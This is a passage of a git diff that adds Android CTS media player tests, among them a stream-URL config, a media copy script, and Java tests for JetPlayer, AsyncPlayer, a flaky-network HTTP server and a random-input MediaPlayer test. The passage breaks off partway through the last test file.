+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<dynamicConfig>
+    <entry key="streaming_media_player_test_http_h263_amr_video1">
+        <value>http://redirector.gvt1.com/videoplayback?id=271de9756065677e&amp;itag=13&amp;source=youtube&amp;ip=0.0.0.0&amp;ipbits=0&amp;expire=19000000000&amp;sparams=ip,ipbits,expire,id,itag,source&amp;signature=5729247E22691EBB3E804DDD523EC42DC17DD8CE.443B81C1E8E6D64E4E1555F568BA46C206507D78&amp;key=ik0&amp;user=android-device-test</value>
+    </entry>
+    <entry key="streaming_media_player_test_http_h263_amr_video2">
+        <value>http://redirector.gvt1.com/videoplayback?id=c80658495af60617&amp;itag=13&amp;source=youtube&amp;ip=0.0.0.0&amp;ipbits=0&amp;expire=19000000000&amp;sparams=ip,ipbits,expire,id,itag,source&amp;signature=508D82AB36939345BF6B8D0623CB6CABDD9C64C3.9B3336A96846DF38E5343C46AA57F6CF2956E427&amp;key=ik0&amp;user=android-device-test</value>
+    </entry>
+    <entry key="streaming_media_player_test_http_h264_base_aac_video1">
+        <value>http://redirector.gvt1.com/videoplayback?id=271de9756065677e&amp;itag=18&amp;source=youtube&amp;ip=0.0.0.0&amp;ipbits=0&amp;expire=19000000000&amp;sparams=ip,ipbits,expire,id,itag,source&amp;signature=667AEEF54639926662CE62361400B8F8C1753B3F.15F46C382C68A9F121BA17BF1F56BEDEB4B06091&amp;key=ik0&amp;user=android-device-test</value>
+    </entry>
+    <entry key="streaming_media_player_test_http_h264_base_aac_video2">
+        <value>http://redirector.gvt1.com/videoplayback?id=c80658495af60617&amp;itag=18&amp;source=youtube&amp;ip=0.0.0.0&amp;ipbits=0&amp;expire=19000000000&amp;sparams=ip,ipbits,expire,id,itag,source&amp;signature=46A04ED550CA83B79B60060BA80C79FDA5853D26.49582D382B4A9AFAA163DED38D2AE531D85603C0&amp;key=ik0&amp;user=android-device-test</value>
+    </entry>
+    <entry key="streaming_media_player_test_http_mpeg4_sp_aac_video1">
+        <value>http://redirector.gvt1.com/videoplayback?id=271de9756065677e&amp;itag=17&amp;source=youtube&amp;ip=0.0.0.0&amp;ipbits=0&amp;expire=19000000000&amp;sparams=ip,ipbits,expire,id,itag,source&amp;signature=837198AAADF6F36BA6B2D324F690A7C5B7AFE3FF.7138CE5E36D718220726C1FC305497FF2D082249&amp;key=ik0&amp;user=android-device-test</value>
+    </entry>
+    <entry key="streaming_media_player_test_http_mpeg4_sp_aac_video2">
+        <value>http://redirector.gvt1.com/videoplayback?id=c80658495af60617&amp;itag=17&amp;source=youtube&amp;ip=0.0.0.0&amp;ipbits=0&amp;expire=19000000000&amp;sparams=ip,ipbits,expire,id,itag,source&amp;signature=70E979A621001201BC18622BDBF914FA870BDA40.6E78890B80F4A33A18835F775B1FF64F0A4D0003&amp;key=ik0&amp;user=android-device-test</value>
+    </entry>
+    <entry key="media_files_url">
+    <value>https://storage.googleapis.com/android_media/cts/tests/tests/media/player/CtsMediaPlayerTestCases-1.0.zip</value>
+    </entry>
+</dynamicConfig>
diff --git a/tests/tests/media/player/OWNERS b/tests/tests/media/player/OWNERS
new file mode 100644
index 0000000..8d53a15
--- /dev/null
+++ b/tests/tests/media/player/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 610698
+# go/android-fwk-media-solutions for info on areas of ownership.
+include platform/frameworks/av:/media/janitors/media_solutions_OWNERS
diff --git a/tests/tests/media/player/copy_media.sh b/tests/tests/media/player/copy_media.sh
new file mode 100755
index 0000000..a4e44f88
--- /dev/null
+++ b/tests/tests/media/player/copy_media.sh
@@ -0,0 +1,20 @@
+#!/bin/bash
+# Copyright (C) 2022 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+## script to install media test files manually
+[ -z "$MEDIA_ROOT_DIR" ] && MEDIA_ROOT_DIR=$(dirname $0)/..
+source $MEDIA_ROOT_DIR/common/copy_media_utils.sh
+get_adb_options "$@"
+copy_media "player" "CtsMediaPlayerTestCases-1.0"
diff --git a/tests/tests/media/res/raw/segment000001.ts b/tests/tests/media/player/res/raw/segment000001.ts
similarity index 100%
rename from tests/tests/media/res/raw/segment000001.ts
rename to tests/tests/media/player/res/raw/segment000001.ts
Binary files differ
diff --git a/tests/tests/media/res/raw/test_jet.jet b/tests/tests/media/player/res/raw/test_jet.jet
similarity index 100%
rename from tests/tests/media/res/raw/test_jet.jet
rename to tests/tests/media/player/res/raw/test_jet.jet
Binary files differ
diff --git a/tests/tests/media/player/src/android/media/player/cts/AsyncPlayerTest.java b/tests/tests/media/player/src/android/media/player/cts/AsyncPlayerTest.java
new file mode 100644
index 0000000..2c6438b
--- /dev/null
+++ b/tests/tests/media/player/src/android/media/player/cts/AsyncPlayerTest.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.player.cts;
+
+import android.content.Context;
+import android.media.AsyncPlayer;
+import android.media.AudioAttributes;
+import android.media.AudioManager;
+import android.media.cts.NonMediaMainlineTest;
+import android.net.Uri;
+import android.provider.Settings;
+import android.test.AndroidTestCase;
+
+@NonMediaMainlineTest
+public class AsyncPlayerTest extends AndroidTestCase {
+
+    public void testAsyncPlayer() throws Exception {
+        final Uri PLAY_URI = Settings.System.DEFAULT_NOTIFICATION_URI;
+        AsyncPlayer asyncPlayer = new AsyncPlayer(null);
+        asyncPlayer.play(getContext(), PLAY_URI, true, AudioManager.STREAM_RING);
+        final int PLAY_TIME = 3000;
+        Thread.sleep(PLAY_TIME);
+        asyncPlayer.stop();
+    }
+
+    public void testAsyncPlayerAudioAttributes() throws Exception {
+        final Uri PLAY_URI = Settings.System.DEFAULT_NOTIFICATION_URI;
+        AsyncPlayer asyncPlayer = new AsyncPlayer(null);
+        asyncPlayer.play(getContext(), PLAY_URI, true,
+                new AudioAttributes.Builder().setUsage(AudioAttributes.USAGE_NOTIFICATION).build());
+        final int PLAY_TIME = 3000;
+        Thread.sleep(PLAY_TIME);
+        asyncPlayer.stop();
+    }
+}
diff --git a/tests/tests/media/player/src/android/media/player/cts/JetPlayerTest.java b/tests/tests/media/player/src/android/media/player/cts/JetPlayerTest.java
new file mode 100644
index 0000000..245625a
--- /dev/null
+++ b/tests/tests/media/player/src/android/media/player/cts/JetPlayerTest.java
@@ -0,0 +1,221 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.player.cts;
+
+import android.media.player.cts.R;
+
+import android.content.res.AssetFileDescriptor;
+import android.media.JetPlayer;
+import android.media.JetPlayer.OnJetEventListener;
+import android.media.cts.NonMediaMainlineTest;
+import android.os.Environment;
+import android.os.Handler;
+import android.os.Looper;
+import android.platform.test.annotations.AppModeFull;
+import android.test.AndroidTestCase;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+
+@NonMediaMainlineTest
+public class JetPlayerTest extends AndroidTestCase {
+    private OnJetEventListener mOnJetEventListener;
+    private boolean mOnJetUserIdUpdateCalled;
+    private boolean mOnJetPauseUpdateCalled;
+    private boolean mOnJetNumQueuedSegmentUpdateCalled;
+    private boolean mOnJetEventCalled;
+    private String mJetFile;
+    /* JetPlayer and Handler will be on the Main Looper */
+    private Handler mHandler = new Handler(Looper.getMainLooper());
+    private final JetPlayer mJetPlayer = JetPlayer.getJetPlayer();
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mOnJetEventListener  = new MockOnJetEventListener();
+        mJetFile =
+            new File(Environment.getExternalStorageDirectory(), "test.jet").getAbsolutePath();
+        assertTrue(JetPlayer.getMaxTracks() > 0);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        // Prevent tests from failing with EAS_ERROR_FILE_ALREADY_OPEN
+        // after a previous test fails.
+        mJetPlayer.closeJetFile();
+
+        File jetFile = new File(mJetFile);
+        if (jetFile.exists()) {
+            jetFile.delete();
+        }
+        super.tearDown();
+    }
+
+    @AppModeFull(reason = "Instant apps cannot access the SD card")
+    public void testLoadJetFromPath() throws Throwable {
+        assertTrue(mJetPlayer.clearQueue());
+        prepareFile();
+        mJetPlayer.setEventListener(mOnJetEventListener);
+        assertTrue(mJetPlayer.loadJetFile(mJetFile));
+        runJet();
+    }
+
+    public void testLoadJetFromFd() throws Throwable {
+        assertTrue(mJetPlayer.clearQueue());
+        mJetPlayer.setEventListener(mOnJetEventListener, mHandler);
+        assertTrue(mJetPlayer.loadJetFile(mContext.getResources().openRawResourceFd(R.raw.test_jet)));
+        runJet();
+    }
+
+    public void testQueueJetSegmentMuteArray() throws Throwable {
+        assertTrue(mJetPlayer.clearQueue());
+        mJetPlayer.setEventListener(mOnJetEventListener, mHandler);
+        assertTrue(mJetPlayer.loadJetFile(mContext.getResources().openRawResourceFd(R.raw.test_jet)));
+        byte userID = 0;
+        int segmentNum = 3;
+        int libNum = -1;
+        int repeatCount = 0;
+        int transpose = 0;
+        boolean[] muteFlags = new boolean[32];
+        assertTrue(mJetPlayer.queueJetSegmentMuteArray(segmentNum, libNum,
+                repeatCount, transpose,
+                muteFlags, userID));
+        assertTrue(mJetPlayer.play());
+        for (int i = 0; i < muteFlags.length; i++) {
+            muteFlags[i] = true;
+        }
+        muteFlags[8] = false;
+        muteFlags[9] = false;
+        muteFlags[10] = false;
+        assertTrue(mJetPlayer.queueJetSegmentMuteArray(segmentNum, libNum,
+                repeatCount, transpose,
+                muteFlags, userID));
+        Thread.sleep(20000);
+        assertTrue(mJetPlayer.pause());
+        assertTrue(mJetPlayer.clearQueue());
+        assertFalse(mJetPlayer.play());
+        assertTrue(mJetPlayer.closeJetFile());
+    }
+
+    private void runJet() throws Throwable {
+        byte userID = 0;
+        int segmentNum = 3;
+        int libNum = -1;
+        int repeatCount = 1;
+        int transpose = 0;
+        int muteFlags = 0;
+        assertTrue(mJetPlayer.queueJetSegment(segmentNum, libNum, repeatCount,
+                transpose, muteFlags, userID));
+
+        segmentNum = 6;
+        repeatCount = 1;
+        transpose = -1;
+        assertTrue(mJetPlayer.queueJetSegment(segmentNum, libNum, repeatCount,
+                transpose, muteFlags, userID));
+
+        segmentNum = 7;
+        transpose = 0;
+        assertTrue(mJetPlayer.queueJetSegment(segmentNum, libNum, repeatCount,
+                transpose, muteFlags, userID));
+
+        for (int i = 0; i < 7; i++) {
+            assertTrue(mJetPlayer.triggerClip(i));
+        }
+        assertTrue(mJetPlayer.play());
+        Thread.sleep(10000);
+        assertTrue(mJetPlayer.pause());
+        assertFalse(mJetPlayer.setMuteArray(new boolean[40], false));
+        boolean[] muteArray = new boolean[32];
+        for (int i = 0; i < muteArray.length; i++) {
+            muteArray[i] = true;
+        }
+        muteArray[8] = false;
+        muteArray[9] = false;
+        muteArray[10] = false;
+        assertTrue(mJetPlayer.setMuteArray(muteArray, true));
+        Thread.sleep(1000);
+        assertTrue(mJetPlayer.play());
+        Thread.sleep(1000);
+        assertTrue(mJetPlayer.setMuteFlag(9, true, true));
+        Thread.sleep(1000);
+        assertTrue(mJetPlayer.setMuteFlags(0, false));
+        Thread.sleep(1000);
+        assertTrue(mJetPlayer.setMuteFlags(0xffffffff, false));
+        Thread.sleep(1000);
+        assertTrue(mJetPlayer.setMuteFlags(0, false));
+        Thread.sleep(30000);
+        assertTrue(mJetPlayer.pause());
+        assertTrue(mJetPlayer.closeJetFile());
+        assertTrue(mOnJetEventCalled);
+        assertTrue(mOnJetPauseUpdateCalled);
+        assertTrue(mOnJetNumQueuedSegmentUpdateCalled);
+        assertTrue(mOnJetUserIdUpdateCalled);
+    }
+
+    public void testClone() throws Exception {
+        try {
+            mJetPlayer.clone();
+            fail("should throw CloneNotSupportedException");
+        } catch (CloneNotSupportedException e) {
+            // expect here
+        }
+    }
+
+    private void prepareFile() throws IOException {
+        InputStream source = null;
+        OutputStream target = null;
+        try {
+            source = mContext.getResources().openRawResource(R.raw.test_jet);
+            target = new FileOutputStream(mJetFile);
+            byte[] buffer = new byte[1024];
+            int length;
+            while ((length = source.read(buffer)) != -1) {
+                target.write(buffer, 0, length);
+            }
+        } finally {
+            if (source != null) {
+                source.close();
+            }
+            if (target != null) {
+                target.close();
+            }
+        }
+    }
+
+    private class MockOnJetEventListener implements OnJetEventListener {
+
+        public void onJetEvent(JetPlayer player, short segment, byte track, byte channel,
+                byte controller, byte value) {
+            mOnJetEventCalled = true;
+        }
+
+        public void onJetNumQueuedSegmentUpdate(JetPlayer player, int nbSegments) {
+            mOnJetNumQueuedSegmentUpdateCalled = true;
+        }
+
+        public void onJetPauseUpdate(JetPlayer player, int paused) {
+            mOnJetPauseUpdateCalled = true;
+        }
+
+        public void onJetUserIdUpdate(JetPlayer player, int userId, int repeatCount) {
+            mOnJetUserIdUpdateCalled = true;
+        }
+    }
+}
diff --git a/tests/tests/media/player/src/android/media/player/cts/MediaCodecPlayerTest.java b/tests/tests/media/player/src/android/media/player/cts/MediaCodecPlayerTest.java
new file mode 100644
index 0000000..1427298
--- /dev/null
+++ b/tests/tests/media/player/src/android/media/player/cts/MediaCodecPlayerTest.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright 2019 Google Inc. All rights reserved.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.player.cts;
+
+import android.media.MediaFormat;
+import android.media.cts.MediaCodecPlayerTestBase;
+import android.media.cts.MediaStubActivity2;
+import android.media.cts.Utils;
+import android.net.Uri;
+import android.view.Surface;
+import java.util.Arrays;
+import java.util.List;
+
+public class MediaCodecPlayerTest extends MediaCodecPlayerTestBase<MediaStubActivity2> {
+
+    private static final String MIME_VIDEO_AVC = MediaFormat.MIMETYPE_VIDEO_AVC;
+
+    private static final String CLEAR_AUDIO_PATH = "/clear/h264/llama/llama_aac_audio.mp4";
+    private static final String CLEAR_VIDEO_PATH = "/clear/h264/llama/llama_h264_main_720p_8000.mp4";
+
+    private static final int VIDEO_WIDTH_CLEAR = 1280;
+    private static final int VIDEO_HEIGHT_CLEAR = 674;
+
+    public MediaCodecPlayerTest() {
+        super(MediaStubActivity2.class);
+    }
+
+    private void playOnSurfaces(List<Surface> surfaces) throws Exception {
+        testPlayback(
+            MIME_VIDEO_AVC, new String[0],
+            Uri.parse(Utils.getMediaPath() + CLEAR_AUDIO_PATH),
+            Uri.parse(Utils.getMediaPath() + CLEAR_VIDEO_PATH),
+            VIDEO_WIDTH_CLEAR, VIDEO_HEIGHT_CLEAR, surfaces);
+    }
+
+    public void testPlaybackSwitchViews() throws Exception {
+        playOnSurfaces(getActivity().getSurfaces());
+    }
+}
diff --git a/tests/tests/media/player/src/android/media/player/cts/MediaPlayerFlakyNetworkTest.java b/tests/tests/media/player/src/android/media/player/cts/MediaPlayerFlakyNetworkTest.java
new file mode 100644
index 0000000..81c0d89
--- /dev/null
+++ b/tests/tests/media/player/src/android/media/player/cts/MediaPlayerFlakyNetworkTest.java
@@ -0,0 +1,367 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.player.cts;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.media.MediaPlayer;
+import android.media.cts.MediaPlayerTestBase;
+import android.media.cts.NonMediaMainlineTest;
+import android.media.cts.Preconditions;
+import android.media.cts.TestUtils.Monitor;
+import android.platform.test.annotations.AppModeFull;
+import android.webkit.cts.CtsTestServer;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import org.apache.http.impl.DefaultHttpServerConnection;
+import org.apache.http.impl.io.SocketOutputBuffer;
+import org.apache.http.io.SessionOutputBuffer;
+import org.apache.http.params.HttpParams;
+import org.apache.http.util.CharArrayBuffer;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+
+import java.net.Socket;
+import java.util.Random;
+import java.util.Vector;
+import java.util.concurrent.Callable;
+import java.util.concurrent.FutureTask;
+
+/**
+ * Executes a range of tests on MediaPlayer while streaming a video
+ * from an HTTP server over a simulated "flaky" network.
+ */
+@NonMediaMainlineTest
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+@RunWith(AndroidJUnit4.class)
+public class MediaPlayerFlakyNetworkTest extends MediaPlayerTestBase {
+    private static final String PKG = "android.media.player.cts";
+    static final String mInpPrefix = WorkDir.getMediaDirString();
+
+    private static final String[] TEST_VIDEOS = {
+        "video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_192kbps_44100hz.mp4",
+        "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
+        "video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_128kbps_44100hz.mp4",
+        "video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_192kbps_44100hz.mp4",
+        "video_176x144_3gp_h263_300kbps_25fps_aac_stereo_128kbps_22050hz.3gp"
+    };
+
+    // Allow operations to block for 3500ms before assuming they will ANR.
+    // We don't allow the full 5s because cpu load, etc, reduces the budget.
+    private static final int ANR_TIMEOUT_MILLIS = 3500;
+
+    private CtsTestServer mServer;
+
+    @Before
+    public void setUp() throws Throwable {
+        super.setUp();
+    }
+
+    @After
+    @Override
+    public void tearDown() {
+        releaseMediaPlayer();
+        releaseHttpServer();
+        super.tearDown();
+    }
+
+    @Test
+    public void test_S0P0() throws Throwable {
+        doPlayStreams(0, 0);
+    }
+
+    @Test
+    public void test_S1P000005() throws Throwable {
+        doPlayStreams(1, 0.000005f);
+    }
+
+    @Test
+    public void test_S2P00001() throws Throwable {
+        doPlayStreams(2, 0.00001f);
+    }
+
+    @Test
+    public void test_S3P00001() throws Throwable {
+        doPlayStreams(3, 0.00001f);
+    }
+
+    @Test
+    public void test_S4P00001() throws Throwable {
+        doPlayStreams(4, 0.00001f);
+    }
+
+    @Test
+    public void test_S5P00001() throws Throwable {
+        doPlayStreams(5, 0.00001f);
+    }
+
+    @Test
+    public void test_S6P00002() throws Throwable {
+        doPlayStreams(6, 0.00002f);
+    }
+
+    private String[] getSupportedVideos() {
+        Vector<String> supported = new Vector<String>();
+        for (String video : TEST_VIDEOS) {
+            Preconditions.assertTestFileExists(mInpPrefix + video);
+            if (MediaUtils.hasCodecsForPath(mContext, mInpPrefix + video)) {
+                supported.add(video);
+            }
+        }
+        return supported.toArray(new String[supported.size()]);
+    }
+
+    private void doPlayStreams(int seed, float probability) throws Throwable {
+        String[] supported = getSupportedVideos();
+        if (supported.length == 0) {
+            MediaUtils.skipTest("no codec found");
+            return;
+        }
+
+        Random random = new Random(seed);
+        createHttpServer(seed, probability);
+        for (int i = 0; i < 10; i++) {
+            String video = getRandomTestVideo(random, supported);
+            doPlayMp4Stream(video, 20000, 5000);
+            doAsyncPrepareAndRelease(video);
+            doRandomOperations(video);
+        }
+        doPlayMp4Stream(getRandomTestVideo(random, supported), 30000, 20000);
+        releaseHttpServer();
+    }
+
+    private String getRandomTestVideo(Random random, String[] videos) {
+        return videos[random.nextInt(videos.length)];
+    }
+
+    private void doPlayMp4Stream(String video, int millisToPrepare, int millisToPlay)
+            throws Throwable {
+        createMediaPlayer();
+        localHttpStreamTest(video);
+
+        mOnPrepareCalled.waitForSignal(millisToPrepare);
+        if (mOnPrepareCalled.isSignalled()) {
+            mMediaPlayer.start();
+            Thread.sleep(millisToPlay);
+        } else {
+            // This could be because the "connection" was too slow.  Assume ok.
+        }
+
+        releaseMediaPlayerAndFailIfAnr();
+    }
+
+    private void doAsyncPrepareAndRelease(String video) throws Throwable {
+        Random random = new Random(1);
+        for (int i = 0; i < 10; i++) {
+            createMediaPlayer();
+            localHttpStreamTest(video);
+            Thread.sleep(random.nextInt(500));
+            releaseMediaPlayerAndFailIfAnr();
+        }
+    }
+
+    private void doRandomOperations(String video) throws Throwable {
+        Random random = new Random(1);
+        createMediaPlayer();
+        localHttpStreamTest(video);
+        mOnPrepareCalled.waitForSignal(10000);
+        if (mOnPrepareCalled.isSignalled()) {
+            mMediaPlayer.start();
+            for (int i = 0; i < 50; i++) {
+                Thread.sleep(random.nextInt(100));
+                switch (random.nextInt(3)) {
+                    case 0:
+                        mMediaPlayer.start();
+                        assertTrue(mMediaPlayer.isPlaying());
+                        break;
+                    case 1:
+                        mMediaPlayer.pause();
+                        assertFalse(mMediaPlayer.isPlaying());
+                        break;
+                    case 2:
+                        mMediaPlayer.seekTo(random.nextInt(10000));
+                        break;
+                }
+            }
+        } else {
+          // Prepare took more than 10s, give up.
+          // This could be because the "connection" was too slow
+        }
+        releaseMediaPlayerAndFailIfAnr();
+    }
+
+    private void releaseMediaPlayerAndFailIfAnr() throws Throwable {
+        final Monitor releaseThreadRunning = new Monitor();
+        Thread releaseThread = new Thread() {
+            public void run() {
+                releaseThreadRunning.signal();
+                releaseMediaPlayer();
+            }
+        };
+        releaseThread.start();
+        releaseThreadRunning.waitForSignal();
+        releaseThread.join(ANR_TIMEOUT_MILLIS);
+        assertFalse("release took longer than " + ANR_TIMEOUT_MILLIS, releaseThread.isAlive());
+    }
+
+    private void createMediaPlayer() throws Throwable {
+        if (mMediaPlayer == null) {
+            mMediaPlayer = createMediaPlayerOnMainThread();
+        }
+    }
+
+    private void releaseMediaPlayer() {
+        MediaPlayer old = mMediaPlayer;
+        mMediaPlayer = null;
+        if (old != null) {
+            old.release();
+        }
+    }
+
+    private MediaPlayer createMediaPlayerOnMainThread() throws Throwable {
+        Callable<MediaPlayer> callable = new Callable<MediaPlayer>() {
+            @Override
+            public MediaPlayer call() throws Exception {
+                return new MediaPlayer();
+            }
+        };
+        FutureTask<MediaPlayer> future = new FutureTask<MediaPlayer>(callable);
+        getInstrumentation().runOnMainSync(future);
+        return future.get();
+    }
+
+
+    private void createHttpServer(int seed, final float probability) throws Throwable {
+        final Random random = new Random(seed);
+        mServer = new CtsTestServer(mContext) {
+            @Override
+            protected DefaultHttpServerConnection createHttpServerConnection() {
+                return new FlakyHttpServerConnection(random, probability);
+            }
+        };
+    }
+
+    private void releaseHttpServer() {
+        if (mServer != null) {
+            mServer.shutdown();
+            mServer = null;
+        }
+    }
+
+    private void localHttpStreamTest(final String name)
+            throws Throwable {
+        Preconditions.assertTestFileExists(mInpPrefix + name);
+        String stream_url = mServer.getAssetUrl(mInpPrefix + name);
+        mMediaPlayer.setDataSource(stream_url);
+
+        mMediaPlayer.setDisplay(getActivity().getSurfaceHolder());
+        mMediaPlayer.setScreenOnWhilePlaying(true);
+
+        mOnPrepareCalled.reset();
+        mMediaPlayer.setOnPreparedListener(mp -> mOnPrepareCalled.signal());
+
+        mMediaPlayer.setOnErrorListener((mp, what, extra) -> {
+            fail("Media player had error " + what + " extra " + extra + " playing " + name);
+            return true;
+        });
+
+        mMediaPlayer.prepareAsync();
+    }
+
+    private class FlakyHttpServerConnection extends DefaultHttpServerConnection {
+
+        private final Random mRandom;
+        private final float mProbability;
+
+        public FlakyHttpServerConnection(Random random, float probability) {
+            mRandom = random;
+            mProbability = probability;
+        }
+
+        @Override
+        protected SessionOutputBuffer createHttpDataTransmitter(
+                Socket socket, int buffersize, HttpParams params) throws IOException {
+            return createSessionOutputBuffer(socket, buffersize, params);
+        }
+
+        SessionOutputBuffer createSessionOutputBuffer(
+                Socket socket, int buffersize, HttpParams params) throws IOException {
+            return new SocketOutputBuffer(socket, buffersize, params) {
+                @Override
+                public void write(byte[] b) throws IOException {
+                    write(b, 0, b.length);
+                }
+
+                @Override
+                public void write(byte[] b, int off, int len) throws IOException {
+                    while (len-- > 0) {
+                        write(b[off++]);
+                    }
+                }
+
+                @Override
+                public void writeLine(String s) throws IOException {
+                    maybeDelayHeader(mProbability);
+                    super.writeLine(s);
+                }
+
+                @Override
+                public void writeLine(CharArrayBuffer buffer) throws IOException {
+                    maybeDelayHeader(mProbability);
+                    super.writeLine(buffer);
+                }
+
+                @Override
+                public void write(int b) throws IOException {
+                    maybeDelay(mProbability);
+                    super.write(b);
+                }
+
+                private void maybeDelayHeader(float probability) throws IOException {
+                    // Increase probability of delay when writing headers to simulate
+                    // slow initial connection / server response.
+                    maybeDelay(probability * 50);
+                }
+
+                private void maybeDelay(float probability) throws IOException {
+                    try {
+                        float random = mRandom.nextFloat();
+                        if (random < probability) {
+                            int sleepTimeMs = 1000 + mRandom.nextInt(5000);
+                            Thread.sleep(sleepTimeMs);
+                            flush();
+                        } else if (random < probability * 100) {
+                            Thread.sleep(1);
+                            flush();
+                        }
+                    } catch (InterruptedException e) {
+                        // Ignored
+                    }
+                }
+
+            };
+        }
+    }
+}
diff --git a/tests/tests/media/player/src/android/media/player/cts/MediaPlayerRandomTest.java b/tests/tests/media/player/src/android/media/player/cts/MediaPlayerRandomTest.java
new file mode 100644
index 0000000..9060bd46
--- /dev/null
+++ b/tests/tests/media/player/src/android/media/player/cts/MediaPlayerRandomTest.java
@@ -0,0 +1,211 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.player.cts;
+
+import android.content.res.AssetFileDescriptor;
+import android.media.MediaPlayer;
+import android.media.cts.MediaHeavyPresubmitTest;
+import android.media.cts.MediaStubActivity;
+import android.media.cts.NonMediaMainlineTest;
+import android.media.cts.Preconditions;
+import android.os.Environment;
+import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.AppModeFull;
+import android.test.ActivityInstrumentationTestCase2;
+import android.util.Log;
+import android.view.SurfaceHolder;
+
+import com.android.compatibility.common.util.WatchDog;
+
+import java.io.File;
+import java.util.Random;
+
+/**
+ * Random input test for {@link MediaPlayer}.
+ *
+ * <p>Only fails when a crash or a blocking call happens. Does not verify output.
+ */
+@NonMediaMainlineTest
+@MediaHeavyPresubmitTest
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class MediaPlayerRandomTest extends ActivityInstrumentationTestCase2<MediaStubActivity> {
+    private static final int MAX_PARAM = 1000000;
+    private static final String TAG = "MediaPlayerRandomTest";
+
+    private static final String mInpPrefix = WorkDir.getMediaDirString();
+
+    private static final int NUMBER_OF_PLAYER_RANDOM_ACTIONS = 100000;
+
+    private MediaPlayer mPlayer;
+    private SurfaceHolder mSurfaceHolder;
+
+    // Modified across multiple threads
+    private volatile boolean mMediaServerDied;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        getInstrumentation().waitForIdleSync();
+        mMediaServerDied = false;
+        mSurfaceHolder = getActivity().getSurfaceHolder();
+        try {
+            // Running this on UI thread make sure that
+            // onError callback can be received.
+            runTestOnUiThread(new Runnable() {
+                public void run() {
+                    mPlayer = new MediaPlayer();
+                }
+            });
+        } catch (Throwable e) {
+            e.printStackTrace();
+            fail();
+        }
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        if (mPlayer != null) {
+            mPlayer.release();
+            mPlayer = null;
+        }
+        super.tearDown();
+    }
+
+    public MediaPlayerRandomTest() {
+        super("android.media.player.cts", MediaStubActivity.class);
+    }
+
+    private void loadSource(final String res) throws Exception {
+        Preconditions.assertTestFileExists(mInpPrefix + res);
